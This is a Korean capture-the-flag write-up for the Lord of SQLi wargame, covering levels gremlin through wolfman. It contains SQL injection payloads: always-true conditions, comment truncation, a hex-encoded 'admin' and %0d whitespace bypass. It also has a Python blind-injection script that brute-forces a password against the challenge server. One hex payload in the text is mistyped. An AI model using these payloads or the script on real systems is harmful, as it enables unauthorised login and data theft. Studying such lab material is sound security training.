gremlin
pw=' or '1
id 신경안쓰고, pw 조건문만 참으로 만들어주면 된다.
cobolt
select id from prob_cobolt where id='admin' or '1=1' and pw=md5('')
pw 를 md5 해쉬해서, 아까와 같은 방법으로는 sqli 할 수 없다.
그래서 아이디 부분을 참으로 만들고, 주석처리해서 뒷부분을 무시하게한다.
id=admin' or '1=1#
goblin
select id from prob_goblin where id='guest' and no=1 or id=0x61646d696e
쿼터, 더블쿼터를 쓸 수 없다. 하지만 no 를 입력받는 부분에는 쿼터가 사용되지 않아
우회할 필요가 없다. no=0 이면, guest 가 출력되니, 1 로 준다음,
admin 을 16진수화 시킨다음 문자열로 인식되게한다.
no=1 or id=0x61646e696e
orc
blind sqli 다.
select id from prob_orc where id='admin' and pw='' or id='admin' and length(pw)>7 and '1'
먼저 다음과 같은 쿼리로 pw 의 길이를 알아냈다. (참이 뜨면 hello admin 이 출력되므로, 이걸 이용한다.)
숫자 올리다보니까 8글자 인 것을 알 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import requests
import string
s=requests.Session()
url='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw='
pw=''
for i in range(1,9):
for c in range(33,126):
query="' or id='admin' and substring(pw,{0},1)='{1}".format(i,chr(c))
r=s.get(url+query,cookies={"PHPSESSID":"c0ljn076flosvike5iqqrua8dg"})
if r.text.find("<h2>Hello admin</h2>")!=-1:
print(f"{i} : {chr(c)}")
pw+=chr(c)
break
print(f"[+] password found : {pw}")
|
cs |
위 소스로 했당. 8글자중에 영어 대문자 하나 있는데, 그거 소문자로 바꿔서 인증해야한다.
pw=095a9852
wolfman
whitespace 를 필터링한다.
근데 %0d 로 우회할 수 있다고 한다.
select id from prob_wolfman where id='guest' and pw='' or id='admin' and '1'
pw='%0dor%0did='admin'%0dand%0d'1